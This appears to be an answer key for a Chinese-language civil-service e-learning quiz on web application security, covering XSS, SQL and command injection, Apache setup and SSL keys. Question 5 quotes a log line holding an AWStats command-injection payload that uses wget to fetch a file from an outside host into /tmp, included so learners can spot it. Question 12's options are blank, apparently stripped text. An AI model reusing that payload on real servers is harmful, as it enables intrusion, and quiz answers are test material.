wecandoitgogogo

e等公務園+學習平臺

應用服務安全實作_Web應用程式之威脅與防護《解答》

20 題答案已標示
答案速覽點題號跳到該題
1╳2╳3C4C5B6A7A8C9B10C11D12A13D14A15D16A17C18C19B、C、D20A、B、C

01安裝了最新系統修補程式，我的網頁應用程式（知名網頁討論版PHPBB）也都是最新版的，應不致有安全上的疑慮了。

  • ○
  • ╳正解

02IDS/IPS可偵測本課程所述之所有攻擊行為。

  • ○
  • ╳正解

03下列何者並非網站應用系統技術之一？

  • A1. PHP
  • B2. VB.Net
  • C3. Assembly正解
  • D4. Java

04下列敘述何者錯誤？

  • A1.網站應用系統一般使用Port 80來傳輸
  • B2. IIS是網站伺服器軟體
  • C3. Apache只能在Unix上安裝正解
  • D4. PHP可以製作動態網頁

05請檢視自下列網站伺服器紀錄，指出何為可疑的http要求？

  • A1. 10.2.3.4 - - [26/Jan/2006:09:43:40 -0700]
  • B2. 68.124.193.166 - - [09/Nov/2005:07:56:40 +0800] GET cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2011%2e22%2e33%2e44%2flisten%3b正解
  • C3. 12.3.3.4 - - [26/Jan/2006:09:43:37 -0700]
  • D4. 192.168.114.201

06下列敘述何者錯誤？

  • A1.存放網頁應用程式的系統安裝最新系統修補程式後，便不會存有弱點。正解
  • B2.跨站指令碼不但影響伺服主機，甚至會導致瀏覽者受害。
  • C3. SQL injection是一種攻擊網站資料庫的手法。
  • D4.跨目錄存取是因為程式撰寫不良。

07下列何者攻擊無法藉由過濾輸入參數來防禦？

  • A1. Directory listing正解
  • B2. SQL injection
  • C3. Cross site scripting
  • D4. Command injection

08請指出下列何者不是本程式碼之問題所在？

  • A1. 未過濾變數page
  • B2. 使用include
  • C3. if沒有接else正解
  • D4. 這會造成跨目錄存取問題

09Cross-site scripting 攻擊無法達到下列何種行為？

  • A1.強迫瀏覽者轉址
  • B2.取得網站伺服器控制權正解
  • C3.偷取瀏覽者cookie
  • D4.騙取瀏覽者輸入資料

10下列何者為非？

  • A1.指令插入弱點甚至會被撰寫成worm進行散播，awstats便是一例。
  • B2. Cross-site scripting 也有可能遭利用，撰寫為worm。
  • C3. SQL injection 最有名的worm就是SQL Slammer正解
  • D4. Cookie值應該要編碼

11Apache設定檔可以透過下列那個語法，將其它分散的設定檔納入？

  • A1. Source
  • B2. Link
  • C3. Insert
  • D4. Include正解

12在Apache設定語法中，若一個Directive的開始標籤式是，請問其結束標籤如何表示？

  • A1.正解
  • B2. <#ABC>
  • C3.
  • D4.

13請問WWW預設的Port是幾號？

  • A1. TCP/8000
  • B2. TCP/8080
  • C3. TCP/800
  • D4. TCP/80正解

14在SSL加密流程中，以下那種KEY在網路上被加密傳遞？

  • A1. secret key正解
  • B2. public key
  • C3. private key
  • D4. server key

15以下關於CA角色的敘述，何者是正確的？

  • A1. 產生KEY的機構
  • B2. 儲存KEY的機構
  • C3. 散佈KEY的機構
  • D4. 背書證明內容與key的機構正解

16請問驗證證書真偽的方法是甚麼？

  • A1. 需要CA的公鑰驗正解
  • B2. 需要CA的公私鑰
  • C3. 自動信任
  • D4. 無法驗證

17請問Apache所用的Server Key存放目錄是以下那一個？

  • A1. /etc/apache2
  • B2. /etc/apache2/ssl.crt
  • C3. /etc/apache2/ssl.key正解
  • D4. /etc/apache2/ssl.csr

18在SSL加密流程中，以下那種KEY用來解密別的被加密傳遞的KEY？

  • A1. secret key
  • B2. public key
  • C3. private key正解
  • D4. server key

19在預設的Apache配置下，以下那些目錄會存放在Server Root之下？

  • A1. htdocs
  • B2. conf正解
  • C3. logs正解
  • D4. modules正解

20在預設的Apache配置下，以下那些目錄會存放在Document Root之下？

  • A1. htdocs正解
  • B2. cgi-bin正解
  • C3. icons正解
  • D4. modules

← 回全部題庫

◻首頁 ⌕搜尋 ☰全部